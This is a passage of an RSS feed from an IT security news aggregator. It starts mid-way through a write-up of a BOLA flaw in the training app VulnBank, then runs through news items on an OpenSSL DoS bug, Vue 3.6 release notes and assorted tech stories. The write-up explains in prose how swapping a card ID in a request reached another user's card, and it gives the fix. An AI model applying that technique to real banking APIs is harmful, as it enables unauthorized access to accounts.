card they were funding. It simply processed whatever <strong>card_id </strong>showed up in the URL, against whichever authenticated user happened to be making the call.</p><h3>Why This Isn’t “Just a Feature”</h3><p>The first pushback any BOLA finding gets is: <strong><em>“Couldn’t this just be an intentional transfer feature?”</em></strong></p><p>It’s a fair question, and worth addressing directly.</p><p>The answer is <strong>NO</strong>, for a few concrete reasons:</p><ul><li>There was no recipient search, no username/email lookup, no way to intentionally select another user through the interface.</li><li>Neither Jhonny nor Alex received any notification or gave any consent.</li><li>The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.</li><li>Both requests used each user’s <em>own</em> main balance and <em>own</em> token throughout, nothing about the flow resembled a designed transfer mechanism.</li></ul><p>A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.</p><h3>The Fix</h3><p>The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:</p><ul><li>Every object-level query needs an explicit ownership check tied to the authenticated session: <strong>WHERE card_id = ? AND user_id = ?</strong></li><li>Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint</li><li>Make cross-account testing a standard part of QA and code review: test with <strong>two different authenticated accounts</strong> against each other’s objects, not just each account against its own.</li></ul><h3>The Takeaway</h3><p>BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.</p><p>In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.</p><p>Authentication tells a server <em>who</em> is asking. Authorization is the separate and often forgotten question of <strong><em>what they’re allowed to ask for?</em></strong>. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.</p><p><em>This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a3bfc069a8b9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-funded-a-strangers-bank-card-with-my-own-money-and-that-s-exactly-the-problem-a3bfc069a8b9">I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenSSL DoS Vulnerability Lets Remote Attackers Exhaust Server Memory With an 11-Byte Payload]]></title>
<description><![CDATA[A newly disclosed vulnerability reminds us how deeply our digital infrastructure relies on foundational libraries. The Okta Red Team recently discovered “HollowByte,” a Denial of Service (DoS) flaw in OpenSSL that allows a remote, unauthenticated attacker to force a server…
Read more →
The post O...]]></description>
<link>https://tsecurity.de/de/3677666/it-security-nachrichten/openssl-dos-vulnerability-lets-remote-attackers-exhaust-server-memory-with-an-11-byte-payload/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677666/it-security-nachrichten/openssl-dos-vulnerability-lets-remote-attackers-exhaust-server-memory-with-an-11-byte-payload/</guid>
<pubDate>Sat, 18 Jul 2026 10:08:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed vulnerability reminds us how deeply our digital infrastructure relies on foundational libraries. The Okta Red Team recently discovered “HollowByte,” a Denial of Service (DoS) flaw in OpenSSL that allows a remote, unauthenticated attacker to force a server…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/openssl-dos-vulnerability-lets-remote-attackers-exhaust-server-memory-with-an-11-byte-payload/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/openssl-dos-vulnerability-lets-remote-attackers-exhaust-server-memory-with-an-11-byte-payload/">OpenSSL DoS Vulnerability Lets Remote Attackers Exhaust Server Memory With an 11-Byte Payload</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenSSL DoS Vulnerability Lets Remote Attackers Exhaust Server Memory With an 11-Byte Payload]]></title>
<description><![CDATA[A newly disclosed vulnerability reminds us how deeply our digital infrastructure relies on foundational libraries. The Okta Red Team recently discovered “HollowByte,” a Denial of Service (DoS) flaw in OpenSSL that allows a remote, unauthenticated attacker to force a server to allocate disproporti...]]></description>
<link>https://tsecurity.de/de/3677620/it-security-nachrichten/openssl-dos-vulnerability-lets-remote-attackers-exhaust-server-memory-with-an-11-byte-payload/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677620/it-security-nachrichten/openssl-dos-vulnerability-lets-remote-attackers-exhaust-server-memory-with-an-11-byte-payload/</guid>
<pubDate>Sat, 18 Jul 2026 09:38:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A newly disclosed vulnerability reminds us how deeply our digital infrastructure relies on foundational libraries. The Okta Red Team recently discovered “HollowByte,” a Denial of Service (DoS) flaw in OpenSSL that allows a remote, unauthenticated attacker to force a server to allocate disproportionate memory chunks before any security handshake even begins, using a payload just […]</p>
<p>The post <a href="https://gbhackers.com/openssl-dos-vulnerability/">OpenSSL DoS Vulnerability Lets Remote Attackers Exhaust Server Memory With an 11-Byte Payload</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Installing Ubuntu 24.04 on corporate laptop Dell Pro 16 Plus PB16255 (AMD) with window-manager: need the practical advise, tips and what setup people are doing!]]></title>
<description><![CDATA[I’m setting up my corporate/work laptop with Ubuntu 24.04 and need disk encryption as per policy. Specs:  Dell PB16255: AMD Ryzen 7 AI 350 Pro, 32 GB RAM, 1 TB NVMe SSD Planning to use Sway WM / Wayland instead of GNOME  I want a setup that is secure, simple, and flexible. I want to be aware what...]]></description>
<link>https://tsecurity.de/de/3677361/linux-tipps/installing-ubuntu-2404-on-corporate-laptop-dell-pro-16-plus-pb16255-amd-with-window-manager-need-the-practical-advise-tips-and-what-setup-people-are-doing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677361/linux-tipps/installing-ubuntu-2404-on-corporate-laptop-dell-pro-16-plus-pb16255-amd-with-window-manager-need-the-practical-advise-tips-and-what-setup-people-are-doing/</guid>
<pubDate>Sat, 18 Jul 2026 04:39:52 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I’m setting up my corporate/work laptop with Ubuntu 24.04 and need disk encryption as per policy.</p> <p><strong>Specs:</strong></p> <ul> <li>Dell PB16255: AMD Ryzen 7 AI 350 Pro, 32 GB RAM, 1 TB NVMe SSD</li> <li>Planning to use Sway WM / Wayland instead of GNOME</li> </ul> <p>I want a setup that is secure, simple, and flexible. I want to be aware what others are doing and how I can improve my game.</p> <p><strong>Questions</strong>:</p> <ul> <li>Should I use Ubuntu’s guided LUKS encryption, or manual LUKS partitioning?</li> <li>Recommended filesystem, partition scheme, layout for 1 TB NVMe? <ul> <li><code>/</code>, <code>/home</code> or <code>/data</code>, swap, EFI, <code>/boot</code></li> </ul></li> <li>Is separate <code>/home</code> better, and best way with encrypted disk?</li> <li>With 32 GB RAM, should I use swap, zram, or plan for hibernation?</li> <li>Data backup tool?</li> <li>Any tips for Ubuntu 24.04 on newer AMD Ryzen AI hardware?</li> <li>Recommended window manager? I was i3wm user. So preferring sway (due to wayland). any other recommendation?</li> <li>Other recommendation on Terminal emulator, file-manager etc.?</li> </ul> <p>Would appreciate practical advice and pitfalls to avoid.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Former-Direction9969"> /u/Former-Direction9969 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uy1bsn/installing_ubuntu_2404_on_corporate_laptop_dell/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uy1bsn/installing_ubuntu_2404_on_corporate_laptop_dell/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Install Claude Desktop App on Linux: Complete Setup Guide (2026)]]></title>
<description><![CDATA[Claude Desktop just launched on Linux in beta. Install it on Ubuntu, Fedora, and Arch with verified steps from live VM testing. We cover all three Linux ecosystems, Claude Code terminal integration, system requirements, pricing breakdown, privacy considerations, and troubleshooting common issues ...]]></description>
<link>https://tsecurity.de/de/3677352/linux-tipps/how-to-install-claude-desktop-app-on-linux-complete-setup-guide-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677352/linux-tipps/how-to-install-claude-desktop-app-on-linux-complete-setup-guide-2026/</guid>
<pubDate>Sat, 18 Jul 2026 04:39:40 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Claude Desktop just launched on Linux in beta. Install it on Ubuntu, Fedora, and Arch with verified steps from live VM testing. We cover all three Linux ecosystems, Claude Code terminal integration, system requirements, pricing breakdown, privacy considerations, and troubleshooting common issues on Wayland and X11 desktop environments right now.]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.6.0-rc.1]]></title>
<description><![CDATA[Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.
3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.
For more details about Vapor Mode, se...]]></description>
<link>https://tsecurity.de/de/3677302/downloads/v360-rc1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677302/downloads/v360-rc1/</guid>
<pubDate>Sat, 18 Jul 2026 03:16:24 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.</p>
<p>3.6 also includes a major refactor of <code>@vue/reactivity</code> based on <a href="https://github.com/stackblitz/alien-signals">alien-signals</a>, which significantly improves the reactivity system's performance and memory usage.</p>
<p>For more details about Vapor Mode, see the <a href="https://github.com/vuejs/core/releases/tag/v3.6.0-rc.1#about-vapor-mode">About Vapor Mode</a> section later in this release note.</p>
<h3>Bug Fixes</h3>
<ul>
<li><strong>hydration:</strong> avoid resolving inherited fallback in forwarded slots (<a href="https://github.com/vuejs/core/commit/4c215b5bd293e18f3a4c62b627a7696016afb982">4c215b5</a>)</li>
<li><strong>hydration:</strong> remove adopted SSR DOM for unresolved async setup (<a href="https://github.com/vuejs/core/commit/3859af4066edeba647e886decb9b4737d7f371cc">3859af4</a>)</li>
<li><strong>runtime-vapor:</strong> avoid patching invalid VNode slot content (<a href="https://github.com/vuejs/core/commit/25f5a8ae6ed3df9c4e3fbaed0da32ce0466c5612">25f5a8a</a>)</li>
<li><strong>runtime-vapor:</strong> clean up detached slot branches (<a href="https://github.com/vuejs/core/commit/b41009d41b21c98174b214eebd271d456215d177">b41009d</a>)</li>
<li><strong>runtime-vapor:</strong> defer slot content anchors during hydration (<a href="https://github.com/vuejs/core/commit/9b9e4bd6efdbce7de258d27e88155bff657d6ae9">9b9e4bd</a>)</li>
<li><strong>runtime-vapor:</strong> preserve outer pending slot anchors (<a href="https://github.com/vuejs/core/commit/4af4bf92a46426631ed6323e542227855b2fc86f">4af4bf9</a>)</li>
<li><strong>runtime-vapor:</strong> preserve slot content anchors during mismatch recovery (<a href="https://github.com/vuejs/core/commit/26f90b58977ee84569b5599700dbe9e864c880a4">26f90b5</a>)</li>
<li><strong>runtime-vapor:</strong> preserve v-show transition on vdom child (<a href="https://github.com/vuejs/core/issues/15074" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15074/hovercard">#15074</a>) (<a href="https://github.com/vuejs/core/commit/fe882c93bb3ec37772126de1cb5c646edb56ace4">fe882c9</a>), closes <a href="https://github.com/vuejs/core/issues/15073" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15073/hovercard">#15073</a></li>
<li><strong>runtime-vapor:</strong> preserve vapor slot owner during interop slot dry run (<a href="https://github.com/vuejs/core/issues/15031" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15031/hovercard">#15031</a>) (<a href="https://github.com/vuejs/core/commit/340630ea37388e12f176a11cadcbdfe8e55e5912">340630e</a>)</li>
<li><strong>runtime-vapor:</strong> preserve VNode anchors in dynamic component hydration (<a href="https://github.com/vuejs/core/commit/898e2ca2441ea3ac064f3b38db47a0aa1b7a556d">898e2ca</a>)</li>
<li><strong>runtime-vapor:</strong> remove unsafe slot dry runs from vdom interop (<a href="https://github.com/vuejs/core/issues/15089" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15089/hovercard">#15089</a>) (<a href="https://github.com/vuejs/core/commit/3d42cdf380b23da000de0ff9d6c3de5d77e0b0d1">3d42cdf</a>), closes <a href="https://github.com/vuejs/core/issues/14793" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/14793/hovercard">#14793</a></li>
<li><strong>runtime-vapor:</strong> reuse hydration anchor candidates (<a href="https://github.com/vuejs/core/commit/06778e705aa87e35f6058c575c562c355a365523">06778e7</a>)</li>
<li><strong>vapor:</strong> handle v-if and v-show on transition roots (<a href="https://github.com/vuejs/core/issues/15069" data-hovercard-type="pull_request" data-hovercard-url="/vuejs/core/pull/15069/hovercard">#15069</a>) (<a href="https://github.com/vuejs/core/commit/8f62f2e57519dcb80c9b3b42588c77ee6d2b0a2f">8f62f2e</a>), closes <a href="https://github.com/vuejs/core/issues/15068" data-hovercard-type="issue" data-hovercard-url="/vuejs/core/issues/15068/hovercard">#15068</a></li>
</ul>
<h2>About Vapor Mode</h2>
<p>Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.</p>
<p>It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.</p>
<p>Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in <a href="https://github.com/krausest/js-framework-benchmark">third-party benchmarks</a>.</p>
<h3>General Stability Notes</h3>
<p>Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:</p>
<ul>
<li>Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.</li>
<li>Building small new apps entirely in Vapor Mode.</li>
</ul>
<h2>Opting In to Vapor Mode</h2>
<p>Vapor Mode supports template-only SFCs and SFCs using <code>&lt;script setup&gt;</code>; the Options API is not supported. The following forms are supported:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p><code>&lt;script vapor&gt;</code> is shorthand for <code>&lt;script setup vapor&gt;</code>:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script vapor&gt;
// ...
&lt;/script&gt;"><pre>&lt;<span class="pl-ent">script</span> vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-c"><span class="pl-c">//</span> ...</span></span>
<span class="pl-s1"></span>&lt;/<span class="pl-ent">script</span>&gt;</pre></div>
<p>The <code>vapor</code> marker can also be placed on the template, enabling Vapor compilation for the entire SFC:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template vapor&gt;
  <!-- ... -->
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span> vapor&gt;
  <span class="pl-c"><span class="pl-c">&lt;!--</span> ... <span class="pl-c">--&gt;</span></span>
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h2>Creating an App and Using VDOM Interop</h2>
<h3>Pure Vapor Applications</h3>
<p>Applications composed entirely of Vapor components can use <code>createVaporApp()</code>:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createVaporApp</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

<span class="pl-en">createVaporApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.</p>
<h3>Enabling VDOM Interop</h3>
<p>To use Vapor components in a VDOM app instance created via <code>createApp()</code>, the <code>vaporInteropPlugin</code> must be installed:</p>
<div class="highlight highlight-source-js notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')"><pre><span class="pl-k">import</span> <span class="pl-kos">{</span> <span class="pl-s1">createApp</span><span class="pl-kos">,</span> <span class="pl-s1">vaporInteropPlugin</span> <span class="pl-kos">}</span> <span class="pl-k">from</span> <span class="pl-s">'vue'</span>
<span class="pl-k">import</span> <span class="pl-v">App</span> <span class="pl-k">from</span> <span class="pl-s">'./App.vue'</span>

<span class="pl-en">createApp</span><span class="pl-kos">(</span><span class="pl-v">App</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">use</span><span class="pl-kos">(</span><span class="pl-s1">vaporInteropPlugin</span><span class="pl-kos">)</span><span class="pl-kos">.</span><span class="pl-en">mount</span><span class="pl-kos">(</span><span class="pl-s">'#app'</span><span class="pl-kos">)</span></pre></div>
<p>A Vapor app instance can also install <code>vaporInteropPlugin</code> to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.</p>
<p>Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.</p>
<p>When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.</p>
<p>In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.</p>
<h2>Feature Compatibility</h2>
<p>By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:</p>
<ul>
<li>Options API</li>
<li><code>app.config.globalProperties</code></li>
<li><code>getCurrentInstance()</code> returns <code>null</code> in Vapor components</li>
<li><code>@vue:xxx</code> per-element lifecycle events</li>
<li><code>v-memo</code></li>
<li>Component template refs do not expose properties such as <code>$el</code>, <code>$props</code>, <code>$attrs</code>, <code>$slots</code>, and <code>$refs</code></li>
</ul>
<h2>Important Usage Considerations</h2>
<h3>Event Delegation and <code>stopPropagation()</code></h3>
<p>Vapor delegates eligible events to <code>document</code>. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.</p>
<p>If any ancestor calls <code>stopPropagation()</code>, the event never reaches <code>document</code>, and the delegated handler will not run.</p>
<p>The following forms bypass delegation and attach the listener directly to the element:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='&lt;button @[event]="onClick" /&gt;
&lt;button v-bind="{ onClick }" /&gt;
&lt;button v-on="{ click: onClick }" /&gt;'><pre>&lt;<span class="pl-ent">button</span> @[<span class="pl-s1"><span class="pl-c1">event</span></span>]=<span class="pl-pds">"</span><span class="pl-s1"><span class="pl-smi">onClick</span></span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-bind</span>=<span class="pl-pds">"</span><span class="pl-s1">{ <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;
&lt;<span class="pl-ent">button</span> <span class="pl-e">v-on</span>=<span class="pl-pds">"</span><span class="pl-s1">{ click: <span class="pl-smi">onClick</span> }</span><span class="pl-pds">"</span> /&gt;</pre></div>
<h3><code>slots.default()</code> Is Not a Safe Dry Run</h3>
<p>In Vapor, <code>slots.default()</code> is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.</p>
<p>Do not call a slot to inspect its output before deciding what else to render:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;script setup vapor&gt;
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
&lt;/script&gt;

&lt;template&gt;
  &lt;div v-if=&quot;showFallback&quot;&gt;Fallback&lt;/div&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">script</span> setup vapor&gt;<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">import</span> { <span class="pl-smi">useSlots</span> } <span class="pl-k">from</span> <span class="pl-s"><span class="pl-pds">'</span>vue<span class="pl-pds">'</span></span></span>
<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">slots</span> <span class="pl-k">=</span> <span class="pl-en">useSlots</span>()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">content</span> <span class="pl-k">=</span> <span class="pl-smi">slots</span>.<span class="pl-smi">default</span><span class="pl-k">?</span>.()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">showFallback</span> <span class="pl-k">=</span> <span class="pl-k">!</span>content</span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>script<span class="pl-k">&gt;</span></span>
<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">&lt;</span>template<span class="pl-k">&gt;</span></span>
<span class="pl-s1">  <span class="pl-k">&lt;</span>div v<span class="pl-k">-</span><span class="pl-k">if</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>showFallback<span class="pl-pds">"</span></span><span class="pl-k">&gt;</span>Fallback<span class="pl-k">&lt;</span><span class="pl-k">/</span>div<span class="pl-k">&gt;</span></span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>template<span class="pl-k">&gt;</span></span></pre></div>
<p>Instead, leave slot rendering to the template:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template&gt;
  &lt;slot /&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span>&gt;
  &lt;<span class="pl-ent">slot</span> /&gt;
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h3>Custom Directives Use a Different Interface</h3>
<p>Custom directives in Vapor also have a different interface:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () =&gt; any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) =&gt; (() =&gt; void) | void"><pre><span class="pl-k">type</span> <span class="pl-smi">VaporDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span>
  <span class="pl-s1">node</span>: <span class="pl-smi">Element</span> <span class="pl-c1">|</span> <span class="pl-smi">VaporComponentInstance</span><span class="pl-kos">,</span>
  <span class="pl-s1">value</span>?: <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">any</span><span class="pl-kos">,</span>
  <span class="pl-s1">argument</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span>
  <span class="pl-s1">modifiers</span>?: <span class="pl-smi">DirectiveModifiers</span><span class="pl-kos">,</span>
<span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi"><span class="pl-k">void</span></span><span class="pl-kos">)</span> <span class="pl-c1">|</span> <span class="pl-smi"><span class="pl-k">void</span></span></pre></div>
<p><code>value</code> is a reactive getter that returns the binding value. Reactive effects can be set up using <code>watchEffect()</code> and are automatically released when the component unmounts. A directive may also return a cleanup function:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="const MyDirective = (el, source) =&gt; {
  watchEffect(() =&gt; {
    el.textContent = source()
  })
  return () =&gt; console.log('cleanup')
}"><pre><span class="pl-k">const</span> <span class="pl-v">MyDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span><span class="pl-s1">el</span><span class="pl-kos">,</span> <span class="pl-s1">source</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
  <span class="pl-en">watchEffect</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
    <span class="pl-s1">el</span><span class="pl-kos">.</span><span class="pl-c1">textContent</span> <span class="pl-c1">=</span> <span class="pl-en">source</span><span class="pl-kos">(</span><span class="pl-kos">)</span>
  <span class="pl-kos">}</span><span class="pl-kos">)</span>
  <span class="pl-k">return</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'cleanup'</span><span class="pl-kos">)</span>
<span class="pl-kos">}</span></pre></div>
<h2>Behavior Consistency</h2>
<p>Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.</p>
<p>For stable releases, please refer to <a href="https://github.com/vuejs/core/blob/main/CHANGELOG.md">CHANGELOG.md</a> for details.<br>
For pre-releases, please refer to <a href="https://github.com/vuejs/core/blob/minor/CHANGELOG.md">CHANGELOG.md</a> of the <code>minor</code> branch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Wer diesen Sommer nicht wie ein Höhlenmensch campen will, braucht diese 6 Gadgets]]></title>
<description><![CDATA[Camping wird 2026 immer weniger „offline und improvisiert“ – und immer mehr ein Hightech-Setup unter freiem Himmel. Von smarter Energieversorgung bis zu digitalen Tools für Navigation und Sicherheit: Die Natur bleibt zwar das Ziel, aber die Technik macht das Erlebnis deutlich komfortabler, effizi...]]></description>
<link>https://tsecurity.de/de/3677163/it-nachrichten/wer-diesen-sommer-nicht-wie-ein-hoehlenmensch-campen-will-braucht-diese-6-gadgets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677163/it-nachrichten/wer-diesen-sommer-nicht-wie-ein-hoehlenmensch-campen-will-braucht-diese-6-gadgets/</guid>
<pubDate>Sat, 18 Jul 2026 00:32:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Camping wird 2026 immer weniger „offline und improvisiert“ – und immer mehr ein Hightech-Setup unter freiem Himmel. Von smarter Energieversorgung bis zu digitalen Tools für Navigation und Sicherheit: Die Natur bleibt zwar das Ziel, aber die Technik macht das Erlebnis deutlich komfortabler, effizienter und oft auch nachhaltiger.]]></content:encoded>
</item>
<item>
<title><![CDATA[Databricks hits $188B valuation, extending its run as AI’s favorite second act]]></title>
<description><![CDATA[Databricks has remade its image into an AI company and has published research on the cost savings of open weight AI models for coding.]]></description>
<link>https://tsecurity.de/de/3677116/it-nachrichten/databricks-hits-188b-valuation-extending-its-run-as-ais-favorite-second-act/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677116/it-nachrichten/databricks-hits-188b-valuation-extending-its-run-as-ais-favorite-second-act/</guid>
<pubDate>Sat, 18 Jul 2026 00:17:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Databricks has remade its image into an AI company and has published research on the cost savings of open weight AI models for coding.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI Becomes The Supply Chain]]></title>
<description><![CDATA[Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 AI tools are increasingly being used to recommend code, libraries, and scripts. The clip explores the possibility that a compromised AI system could influence those recommendations.

Software supply chains already depend on trust ...]]></description>
<link>https://tsecurity.de/de/3677102/it-security-video/ai-becomes-the-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677102/it-security-video/ai-becomes-the-supply-chain/</guid>
<pubDate>Sat, 18 Jul 2026 00:01:45 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/gZ5u3C6gB3s?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>AI tools are increasingly being used to recommend code, libraries, and scripts. The clip explores the possibility that a compromised AI system could influence those recommendations.<br />
<br />
Software supply chains already depend on trust between developers, tools, and dependencies. Adding AI as a decision-maker creates another layer that may require security review and validation.<br />
<br />
How should developers balance AI productivity gains with the need to verify what AI recommends?<br />
<br />
Subscribe to our podcasts: https://securityweekly.com/subscribe<br />
<br />
#AISecurity #SoftwareSupplyChain #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec<br/></p>]]></content:encoded>
</item>
<item>
